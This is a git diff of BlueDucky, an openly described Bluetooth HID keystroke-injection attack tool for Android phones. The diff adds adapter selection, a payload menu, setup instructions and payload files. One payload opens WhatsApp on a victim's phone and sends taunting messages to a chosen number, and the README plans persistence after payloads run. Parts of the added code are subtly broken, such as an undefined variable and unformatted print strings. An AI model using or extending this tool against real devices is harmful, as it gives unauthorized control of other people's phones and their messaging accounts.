diff --git a/BlueDucky.py b/BlueDucky.py index 5565c3d..b4d2b72 100644 --- a/BlueDucky.py +++ b/BlueDucky.py @@ -1,7 +1,9 @@ -import binascii, bluetooth, sys, time, datetime, logging +import binascii, bluetooth, sys, time, datetime, logging, argparse from multiprocessing import Process from pydbus import SystemBus from enum import Enum +import subprocess +import os from utils.menu_functions import (main_menu, read_duckyscript, run, restart_bluetooth_daemon, get_target_address) from utils.register_device import register_hid_profile, agent_loop @@ -14,8 +16,6 @@ class AnsiColorCode: GREEN = '\033[92m' YELLOW = '\033[93m' BLUE = '\033[94m' - MAGENTA = '\033[95m' - CYAN = '\033[96m' WHITE = '\033[97m' RESET = '\033[0m' @@ -29,8 +29,8 @@ class ColorLogFormatter(logging.Formatter): logging.INFO: AnsiColorCode.GREEN, logging.WARNING: AnsiColorCode.YELLOW, logging.ERROR: AnsiColorCode.RED, - logging.CRITICAL: AnsiColorCode.MAGENTA, - NOTICE_LEVEL: AnsiColorCode.CYAN, # Color for NOTICE level + logging.CRITICAL: AnsiColorCode.RED, + NOTICE_LEVEL: AnsiColorCode.BLUE, # Color for NOTICE level } def format(self, record): @@ -267,9 +267,20 @@ class L2CAPClient: self.connected = True log.debug("SUCCESS! connected on port %d" % self.port) except Exception as ex: + # Color Definition Again just to avoid errors I should've made a class for this. + red = "\033[91m" + blue = "\033[94m" + reset = "\033[0m" + + error = True self.connected = False log.error("ERROR connecting on port %d: %s" % (self.port, ex)) raise ConnectionFailureException(f"Connection failure on port {self.port}") + if (error == True & self.port == 14): + print("{reset}[{red}!{reset}] {red}CRITICAL ERROR{reset}: {reset}Attempted Connection to {red}{target_address} {reset}was {red}denied{reset}.") + return self.connected + + return self.connected @@ -593,13 +604,14 @@ def terminate_child_processes(): if proc.is_alive(): proc.terminate() proc.join() + -def setup_bluetooth(target_address): +def setup_bluetooth(target_address, adapter_id): restart_bluetooth_daemon() - profile_proc = Process(target=register_hid_profile, args=('hci0', target_address)) + profile_proc = Process(target=register_hid_profile, args=(adapter_id, target_address)) profile_proc.start() child_processes.append(profile_proc) - adapter = Adapter('hci0') + adapter = Adapter(adapter_id) adapter.set_property("name", "Robot POC") adapter.set_property("class", 0x002540) adapter.power(True) @@ -617,28 +629,94 @@ def establish_connections(connection_manager): if not connection_manager.connect_all(): raise ConnectionFailureException("Failed to connect to all required ports") -def setup_and_connect(connection_manager, target_address): +def setup_and_connect(connection_manager, target_address, adapter_id): connection_manager.create_connection(1) # SDP connection_manager.create_connection(17) # HID Control connection_manager.create_connection(19) # HID Interrupt - initialize_pairing('hci0', target_address) + initialize_pairing(adapter_id, target_address) establish_connections(connection_manager) return connection_manager.clients[19] +def troubleshoot_bluetooth(): + # Added this function to troubleshoot common issues before access to the application is granted + + blue = "\033[0m" + red = "\033[91m" + reset = "\033[0m" + # Check if bluetoothctl is available + try: + subprocess.run(['bluetoothctl', '--version'], check=True, stdout=subprocess.PIPE) + except subprocess.CalledProcessError: + print("{reset}[{red}!{reset}] {red}CRITICAL{reset}: {blue}bluetoothctl {reset}is not installed or not working properly.") + return False + + # Check for Bluetooth adapters + result = subprocess.run(['bluetoothctl', 'list'], capture_output=True, text=True) + if "Controller" not in result.stdout: + print("{reset}[{red}!{reset}] {red}CRITICAL{reset}: No {blue}Bluetooth adapters{reset} have been detected.") + return False + + # List devices to see if any are connected + result = subprocess.run(['bluetoothctl', 'devices'], capture_output=True, text=True) + if "Device" not in result.stdout: + print("{reset}[{red}!{reset}] {red}CRITICAL{reset}: No Compatible {blue}Bluetooth devices{reset} are connected.") + return False + + # if no issues are found then continue + return True + # Main function def main(): + blue = "\033[0m" + red = "\033[91m" + reset = "\033[0m" + parser = argparse.ArgumentParser(description="Bluetooth HID Attack Tool") + parser.add_argument('--adapter', type=str, default='hci0', help='Specify the Bluetooth adapter to use (default: hci0)') + args = parser.parse_args() + adapter_id = args.adapter + main_menu() target_address = get_target_address() if not target_address: - log.info("No target address provided. Exiting.") + log.info("No target address provided. Exiting..") return + + script_directory = os.path.dirname(os.path.realpath(__file__)) + payload_folder = os.path.join(script_directory, 'payloads/') # Specify the relative path to the payloads folder. + payloads = os.listdir(payload_folder) - duckyscript = read_duckyscript() + blue = "\033[0m" + red = "\033[91m" + reset = "\033[0m" + print(f"\nAvailable payloads{blue}:") + for idx, payload_file in enumerate(payloads, 1): # Check and enumerate the files inside the payload folder. + print(f"{reset}[{blue}{idx}{reset}]{blue}: {blue}{payload_file}") + + blue = "\033[0m" + red = "\033[91m" + reset = "\033[0m" + payload_choice = input(f"\n{blue}Enter the number that represents the payload you would like to load{reset}: {blue}") + selected_payload = None + + try: + payload_index = int(payload_choice) - 1 + selected_payload = os.path.join(payload_folder, payloads[payload_index]) + except (ValueError, IndexError): + print(f"Invalid payload choice. No payload selected.") + + if selected_payload is not None: + print(f"{blue}Selected payload{reset}: {blue}{selected_payload}") + duckyscript = read_duckyscript(selected_payload) + else: + print(f"{red}No payload selected.") + + + if not duckyscript: log.info("Payload file not found. Exiting.") return - adapter = setup_bluetooth(target_address) + adapter = setup_bluetooth(target_address, adapter_id) adapter.enable_ssp() current_line = 0 @@ -647,24 +725,35 @@ def main(): while True: try: - hid_interrupt_client = setup_and_connect(connection_manager, target_address) + hid_interrupt_client = setup_and_connect(connection_manager, target_address, adapter_id) process_duckyscript(hid_interrupt_client, duckyscript, current_line, current_position) time.sleep(2) break # Exit loop if successful + except ReconnectionRequiredException as e: - log.info("Reconnection required. Attempting to reconnect...") + log.info(f"{reset}Reconnection required. Attempting to reconnect{blue}...") current_line = e.current_line current_position = e.current_position connection_manager.close_all() # Sleep before retrying to avoid rapid reconnection attempts time.sleep(2) - - #process_duckyscript(hid_interrupt_client, duckyscript) + + finally: + # unpair the target device + blue = "\033[94m" + reset = "\033[0m" + + command = f'echo -e "remove {target_address}\n" | bluetoothctl' + subprocess.run(command, shell=True) + print(f"{blue}Successfully Removed device{reset}: {blue}{target_address}{reset}") if __name__ == "__main__": setup_logging() log = logging.getLogger(__name__) try: - main() + if troubleshoot_bluetooth(): + main() + else: + sys.exit(0) finally: - terminate_child_processes() \ No newline at end of file + terminate_child_processes() diff --git a/README.md b/README.md index 9ed6d2c..90e061a 100644 --- a/README.md +++ b/README.md @@ -1,10 +1,13 @@ -# BlueDucky (Android) 🦆 +# BlueDucky Ver 2.1 (Android) 🦆 -Thanks to all the people at OWLSec. Make sure you come join us on VC ! -https://discord.gg/owlsec +Thanks to all the people at HackNexus. Make sure you come join us on VC ! +https://discord.gg/HackNexus + +NOTES: I will not be able to run this on a laptop or other device outside of a raspberry pi for testing. Due to this, any issues you have will need to be resolved amonsgt each other as I do not have the spare funds to buy an adapter. 1. [saad0x1's GitHub](https://github.com/saad0x1) 2. [spicydll's GitHub](https://github.com/spicydll) +3. [lamentomori's GitHub](https://github.com/lamentomori)
@@ -31,7 +34,7 @@ I've successfully run this on a Raspberry Pi 4 using the default Bluetooth modul
## Installation and Usage 🛠️
-### Setup Instructions
+### Setup Instructions for Debian-based
```bash
# update apt
@@ -48,6 +51,29 @@ git clone https://github.com/pybluez/pybluez.git
cd pybluez
sudo python3 setup.py install
+# build bdaddr from the bluez source
+cd ~/
+git clone --depth=1 https://github.com/bluez/bluez.git
+gcc -o bdaddr ~/bluez/tools/bdaddr.c ~/bluez/src/oui.c -I ~/bluez -lbluetooth
+sudo cp bdaddr /usr/local/bin/
+```
+### Setup Instructions for Arch-based
+
+```bash
+# update pacman & packages
+sudo pacman -Syyu
+
+# install dependencies
+# since arch doesn't separate lib packages: libbluetooth-dev included in bluez package
+sudo pacman -S bluez-tools bluez-utils bluez-deprecated-tools \
+ python-setuptools python-pydbus python-dbus
+ git gcc python-pip \
+
+# install pybluez from source
+git clone https://github.com/pybluez/pybluez.git
+cd pybluez
+sudo python3 setup.py install
+
# build bdaddr from the bluez source
cd ~/
git clone --depth=1 https://github.com/bluez/bluez.git
@@ -63,6 +89,12 @@ sudo hciconfig hci0 up
python3 BlueDucky.py
```
+alternatively,
+
+```bash
+pip3 install -r requirements.txt
+```
+
## Operational Steps 🕹️
1. On running, it prompts for the target MAC address.
2. Pressing nothing triggers an automatic scan for devices.
@@ -75,6 +107,15 @@ python3 BlueDucky.py
🚧 Work in Progress:
- Suggest me ideas
+## Version 2.1 🐛
+- Updated UI
+- Improved User Experience
+- Bluetooth Debugger; Checks your bluetooth adapters, and installed dependancies before allowing access to the application, this is to prevent devices that are not supported.
+- Please Note: Numerous Changes have been made,please reference the commit history for specific changes.
+
+## What's Planned for the Next Release?
+- Integrated DuckyScript Console for attacks that want to maintain persistance, after a payload has been ran
+- Suggest What Should be added next! Join https://discord.gg/HackNexus
#### 📝 Example payload.txt:
```bash
diff --git a/__init__.py b/__init__.py
new file mode 100644
index 0000000..8b13789
--- /dev/null
+++ b/__init__.py
@@ -0,0 +1 @@
+
diff --git a/images/duckmenu.png b/images/duckmenu.png
index e28ca18..703c31e 100644
Binary files a/images/duckmenu.png and b/images/duckmenu.png differ
diff --git a/payload.txt b/payload.txt
deleted file mode 100644
index 67f064b..0000000
--- a/payload.txt
+++ /dev/null
@@ -1,2 +0,0 @@
-REM This is a comment and will not run
-STRING hello there 123
diff --git a/payloads/payload_example_1.txt b/payloads/payload_example_1.txt
new file mode 100644
index 0000000..6fbc51f
--- /dev/null
+++ b/payloads/payload_example_1.txt
@@ -0,0 +1,16 @@
+REM Opens a private browser to hackertyper.net
+DELAY 200
+ESCAPE
+GUI d
+ALT ESCAPE
+GUI b
+DELAY 700
+REM PRIVATE_BROWSER is equal to CTRL + SHIFT + N
+PRIVATE_BROWSER
+DELAY 700
+CTRL l
+DELAY 300
+STRING hackertyper.net
+DELAY 300
+ENTER
+DELAY 300
diff --git a/payloads/payload_example_2.txt b/payloads/payload_example_2.txt
new file mode 100644
index 0000000..345c8f5
--- /dev/null
+++ b/payloads/payload_example_2.txt
@@ -0,0 +1,4 @@
+REM This is a comment and will not run
+STRING hello opening messages here
+DELAY 200
+GUI s
diff --git a/payloads/wp_payload.txt b/payloads/wp_payload.txt
new file mode 100644
index 0000000..e5c29b1
--- /dev/null
+++ b/payloads/wp_payload.txt
@@ -0,0 +1,48 @@
+REM Opens a browser to https://wa.me/<+number>
+DELAY 200
+ESCAPE
+GUI d
+ALT ESCAPE
+GUI b
+DELAY 700
+REM BROWSER is equal to CTRL + SHIFT + N
+BROWSER
+DELAY 700
+CTRL l
+DELAY 300
+STRING https://wa.me/<+NUMBER>
+DELAY 500
+ENTER
+DELAY 3000
+TAB
+TAB
+TAB
+TAB
+TAB
+ENTER
+DELAY 7000
+REM # Enter your message here
+STRING get clapped by 4ngel6uard
+DELAY 500
+TAB
+TAB
+ENTER
+DELAY 2000
+REM # Enter your another message here
+STRING hehehe
+DELAY 300
+TAB
+TAB
+ENTER
+DELAY 2000
+REM # Enter your another message here
+STRING blueducky was there
+DELAY 300
+TAB
+TAB
+ENTER
+DELAY 2000
+REM # Enter your another message here (doesn't send, leaves in a box)
+STRING good luck =)
+
+
diff --git a/requirements.txt b/requirements.txt
index ed57806..10c18eb 100644
--- a/requirements.txt
+++ b/requirements.txt
@@ -3,3 +3,6 @@ PyBluez==0.30
pycairo==1.26.0
pydbus==0.6.0
PyGObject==3.48.1
+pyobjc
+pybluez
+setuptools==57.5.0
\ No newline at end of file
diff --git a/utils/menu_functions.py b/utils/menu_functions.py
index 2501b55..637a171 100644
--- a/utils/menu_functions.py
+++ b/utils/menu_functions.py
@@ -1,7 +1,15 @@
-import os, bluetooth,re, subprocess, time, curses
+import os, bluetooth, re, subprocess, time, curses
import logging as log
+
+##########################
+# UI Redesign by Lamento #
+##########################
+
def get_target_address():
- target_address = input("\nWhat is the target address? Leave blank and we will scan for you: ")
+ blue = "\033[94m"
+ reset = "\033[0m"
+ print(f"\n What is the target address{blue}? {reset}Leave blank and we will scan for you{blue}!{reset}")
+ target_address = input(f"\n {blue}> ")
if target_address == "":
devices = scan_for_devices()
@@ -9,12 +17,17 @@ def get_target_address():
# Check if the returned list is from known devices or scanned devices
if len(devices) == 1 and isinstance(devices[0], tuple) and len(devices[0]) == 2:
# A single known device was chosen, no need to ask for selection
- target_address = devices[0][0]
+ # I think it would be better to ask, as sometimes I do not want to chose this device and actually need solely to scan for actual devices.
+ confirm = input(f"\n Would you like to register this device{blue}:\n{reset}{devices[0][1]} {devices[0][0]}{blue}? {blue}({reset}y{blue}/{reset}n{blue}) {blue}").strip().lower()
+ if confirm == 'y' or confirm == 'yes':
+ return devices[0][0]
+ elif confirm != 'y' or 'yes':
+ return
else:
# Show list of scanned devices for user selection
for idx, (addr, name) in enumerate(devices):
- print(f"{idx + 1}: Device Name: {name}, Address: {addr}")
- selection = int(input("\nSelect a device by number: ")) - 1
+ print(f"{reset}[{blue}{idx + 1}{reset}] {blue}Device Name{reset}: {blue}{name}, {blue}Address{reset}: {blue}{addr}")
+ selection = int(input(f"\n{reset}Select a device by number{blue}: {blue}")) - 1
if 0 <= selection < len(devices):
target_address = devices[selection][0]
else:
@@ -41,38 +54,30 @@ def run(command):
def print_fancy_ascii_art():
ascii_art = """
-⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⣀⣀⣀⣄⣤⣤⣄⣀⣀⡀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀
-⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⣠⣴⡶⠟⠛⠉⠉⠉⠉⠉⠉⠉⠉⠉⠙⠛⠷⢶⣤⣀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀
-⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⢀⣴⠟⠋⠁⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠈⠛⢷⣤⡀⠀⠀⠀⠀⠀⠀⠀
-⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⢀⣼⠟⠁⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠙⢿⣆⠀⠀⠀⠀⠀⠀
-⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⣰⡿⠁⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠹⣧⠀⠀⠀⠀⠀
-⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⣰⡟⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⣀⣀⣠⣤⣤⣤⣤⣤⣄⣀⡀⠀⠀⢹⣧⠀⠀⠀⠀
-⠀⠀⠀⠀⠀⠀⠀⠀⢀⣤⣶⣶⣿⣷⣶⠶⠛⠛⠛⠛⠳⢶⣦⠀⠀⠀⠀⢠⣾⣿⣿⣿⣿⣿⣯⠉⠉⠉⠉⠉⠛⣷⠀⠀⢿⡄⠀⠀⠀
-⠀⠀⠀⠀⠀⠀⠀⠀⣿⣿⣿⣿⣿⣿⣿⡇⠀⠀⠀⠀⢀⣠⣿⣀⡀⠀⠀⢿⣿⣿⣿⣿⣿⣿⣿⠀⢀⣀⣀⣤⣴⠟⠀⠀⠸⣧⠀⠀⠀
-⠀⠀⠀⠀⠀⠀⠀⠀⣙⣿⣿⣿⣿⣿⣿⠶⠶⠶⠿⠛⠛⠛⠛⠛⠛⢷⣦⡀⠉⠙⠛⠛⠛⠛⠛⠛⠛⠋⠉⠁⠀⠀⠀⠀⠀⣿⠀⠀⠀
-⠀⢀⣠⣴⠶⠾⠛⠛⠛⠉⠉⠉⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠘⣿⡄⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⣿⡀⠀⠀
-⢠⣿⠋⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠘⢗⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⣿⡇⠀⠀
-⠈⢿⣦⣄⣀⣀⠀⠀⢀⣀⣀⣀⣀⣀⣀⣀⣀⣀⣀⣀⣤⣤⣤⣄⣀⠀⠀⠀⢸⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⣿⡇⠀⠀
-⠀⠀⠈⠉⠛⠛⠛⢻⣟⠛⠛⠛⠛⠛⠋⠉⠉⠉⠉⠉⠉⠉⠉⠉⠻⠷⠀⢀⣿⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⣿⡇⠀⠀
-⠀⠀⠀⠀⠀⠀⠀⠀⠛⠷⢶⣤⣤⣤⣤⣤⣤⣤⣤⣤⣤⣤⣤⣤⣤⣴⠶⠟⠁⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⣿⡇⠀⠀
-⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠉⠉⠉⠉⢹⣿⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⣿⡇⠀⠀
-⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⢸⣿⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⢻⡇⠀⠀
-⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⢸⡟⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⢸⣇⠀⠀
-⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⢸⡇⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠈⣿⠀⠀
-⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⣿⠃⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⢹⣆⠀
-⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⣸⡟⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠻⢶
-⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⣰⡟⠁⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀
-⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⢀⣠⡾⠋⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀
-⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⢀⣀⣴⠟⠋⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀
-⢀⣤⣤⡀⢀⣤⣤⡀⠀⣤⠀⠀⢀⣤⣄⢀⣤⣤⡀⠀⠀⣤⠀⠀⣠⠀⢀⣄⠀⠀⣠⣤⡀⠀⠀⠀⡀⠀⣠⡀⣠⣤⣤⣠⡀⠀⣤⢀⣤⣤⡀⣤⣤⡀
-⢸⣯⣹⡗⣿⣿⡏⠀⣼⣿⣇⢰⡿⠉⠃⣿⣿⡍⠀⠀⠀⢿⣤⣦⣿⠀⣾⢿⡆⢾⣯⣝⡃⠀⠀⢰⣿⣆⣿⡧⣿⣽⡍⠘⣷⣸⡏⣾⣿⡯⢸⣯⣩⡿
-⢸⡟⠉⠀⢿⣶⣶⢰⡿⠟⢻⡾⢷⣴⡆⢿⣶⣶⠄⠀⠀⠸⡿⠻⡿⣼⡿⠟⢿⢤⣭⣿⠟⠀⠀⢸⡇⠻⣿⠃⣿⣼⣶⠀⢻⡟⠀⢿⣧⣶⠸⣿⠻⣧
-⠀⠀⠀⠀⠀⠀⠀⠀⠁⠀⠀⠀⢀⡀⠀⠀⠀⠀⣀⠀⠀⠀⠀⣀⡀⠈⢀⣀⣀⠀⣁⣀⣀⢀⡀⠀⢀⣀⠀⠀⠀⠀⢀⡀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀
-⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⣼⣿⠀⢠⣧⡀⣿⠀⠀⠀⣼⡿⢿⣄⣼⡟⢿⡿⠿⣿⠿⢻⣧⢠⡿⠿⣧⣀⣿⡄⣿⡇⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀
-⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⣸⣿⣿⣧⣾⡟⣷⣿⠀⠀⠘⣿⣀⣸⡟⢹⡿⠟⠁⠀⣿⡀⢸⣏⢿⣇⣠⣿⢻⣏⢿⣿⡇⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀
-⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠛⠁⠀⠙⠙⠁⠘⠋⠀⠀⠀⠈⠉⠉⠀⠘⠁⠀⠀⠀⠉⠁⠈⠁⠀⠉⠉⠁⠈⠋⠈⠋⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀"""
+ ⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⣀⠤⠄⠒⠒⠒⠒⠒⠒⠂⠠⢄⡀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀
+ ⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⣀⠴⠋⠁⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠉⠓⢄⡀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀
+ ⠀⠀⠀⠀⠀⠀⠀⠀⠀⢠⠞⠁⠀⠀⠀⠀⣀⡤⠴⠒⠒⠒⠒⠦⠤⣀⠀⠀⠀⠙⢆⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀
+ ⠀⠀⠀⠀⠀⠀⠀⠀⢰⠋⠀⠀⠀⣠⠖⠋⢀⣄⣀⡀⠀⠀⠀⠀⠀⠀⠉⠲⣄⠀⠈⣧⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀
+ ⠀⠀⠀⠀⠀⠀⠀⢠⠇⠀⠀⢀⡼⠁⠀⣴⣿⡛⠻⣿⣧⡀⠀⠀⠀⠀⠀⠀⠈⠳⡄⡿⡆⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀
+ ⠀⠀⠀⠀⠀⠀⠀⣼⣀⣀⣀⡜⠀⠀⠀⣿⣿⣿⣿⣿⣿⡧⠀⠀⠀⠀⠀⠀⠀⠀⠙⣿⣷⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀
+ ⠀⠀⠀⠀⠀⣀⡤⠟⠁⠀⠈⠙⡶⣄⡀⠈⠻⢿⣿⡿⠋⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠇⡿⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀
+ ⣤⣤⠖⠖⠛⠉⠈⣀⣀⠀⠴⠊⠀⠀⣹⣷⣶⡏⠉⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⢀⡇⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀ ⠀⣀⡀⠀⠀
+ ⠘⠿⣿⣷⣶⣶⣶⣶⣤⣶⣶⣶⣿⣿⣿⡿⠟⠁⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⡜⠀⠀⠀⠀⠀⠀⢀⣀⣠⣤⠤⠖⠒⠋⠉⠁⠙⣆⠀
+ ⠀⠀⠀⠀⠉⠉⠉⠉⠙⠿⣍⣩⠟⠋⠙⢦⡀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⢀⣠⣾⣖⣶⣶⢾⠯⠽⠛⠋⠁⠀⠀⠀⠀⠀⠀⠀⠀⠀⠸⡄
+ ⠀⠀⠀⠀⠀⠀⠀⠀⢀⣤⠚⠁⠀⠀⠀⠀⠈⠓⠤⠀⠀⠀⠀⠀⠀⠐⠒⠚⠉⠉⠁⠀⠀⠀⠀⠀⠀⢀⣀⣀⠀⣀⢀⠀⠀⠀⠀⠀⠀⠀⣇
+ ⠀⠀⠀⠀⠀⠀⠀⡴⠋⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⢀⣀⣀⠤⠤⠖⠒⠚⠉⠉⠁⠀⠀⠀⢸⢸⣦⠀⠀⠀⠀⠀⠀⢸
+ ⠀⠀⠀⠀⠀⢠⠎⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⢀⣀⡠⠤⠴⠒⠒⠉⠉⠁⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⢀⡏⣸⡏⠇⠀⠀⠀⠀⠀⢸
+ ⠀⠀⠀⠀⢠⠇⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⢻⡀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⢀⠞⢠⡿⠀⠀⠀⠀⠀⠀⠀⢸
+ ⠀⠀⠀⠀⣾⡀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠹⣄⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⢀⡠⠊⣠⡟⠀⠀⠀⠀⠀⠀⠀⠀⡏
+ ⠀⠀⠀⠀⡏⠁⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠈⠢⣄⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⢀⡠⠖⠉⢀⣴⠏⠠⠀⠀⠀⠀⠀⠀⠀⣸⠁
+ ⠀⠀⠀⠀⢹⡀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠉⠒⠒⠢⠤⠄⠀⠀⠀⠀⠀⠈⠁⠀⣠⣶⠟⠁⠀⠀⠀⠀⠀⠀⠀⠀⢠⠃⠀
+ ⠀⠀⠀⠀⠀⢣⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⣀⣤⣴⠿⠛⠁⠀⠀⠀⠀⠀⠀⠀⠀⠀⣠⠃⠀⠀
+ ⠀⠀⠀⠀⠀⠈⢧⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⢀⣀⣤⡶⠿⠛⠉⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⢀⡴⠃⠀⠀⠀
+ ⠀⠀⠀⠀⠀⠀⠀⠳⣄⢀⣀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠈⠉⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠤⠖⣪⡵⠋⠀⠀⠀⠀⠀
+ ⠀⠀⠀⠀⠀⠀⠀⠀⠈⠑⠫⠭⣤⣤⣤⣤⣤⣤⣤⣤⣤⣤⣤⣤⣤⣤⣭⣭⣤⣤⣤⣤⣤⣤⣤⣤⣤⣤⣤⣤⡴⠶⠛⠉⠀⠀⠀⠀⠀⠀⠀
+"""
- print("\033[1;36m" + ascii_art + "\033[0m") # Cyan color
+ print("\033[94m" + ascii_art + "\033[0m") # Blue color
def clear_screen():
os.system('clear')
@@ -83,45 +88,44 @@ def save_devices_to_file(devices, filename='known_devices.txt'):
for addr, name in devices:
file.write(f"{addr},{name}\n")
-def get_yes_no():
- stdscr = curses.initscr()
- curses.cbreak()
- stdscr.keypad(1)
-
- while True:
- key = stdscr.getch()
- if key == ord('y'):
- response = 'yes'
- break
- elif key == ord('n'):
- response = 'no'
- break
-
- curses.endwin()
- return response
-
# Function to scan for devices
def scan_for_devices():
main_menu()
+ blue = "\033[94m"
+ error = "\033[91m"
+ reset = "\033[0m"
+
# Load known devices
known_devices = load_known_devices()
if known_devices:
- print("\nKnown devices:")
+ blue = "\033[94m"
+ error = "\033[91m"
+ reset = "\033[0m"
+ print(f"\n{reset}Known devices{blue}:")
for idx, (addr, name) in enumerate(known_devices):
- print(f"{idx + 1}: Device Name: {name}, Address: {addr}")
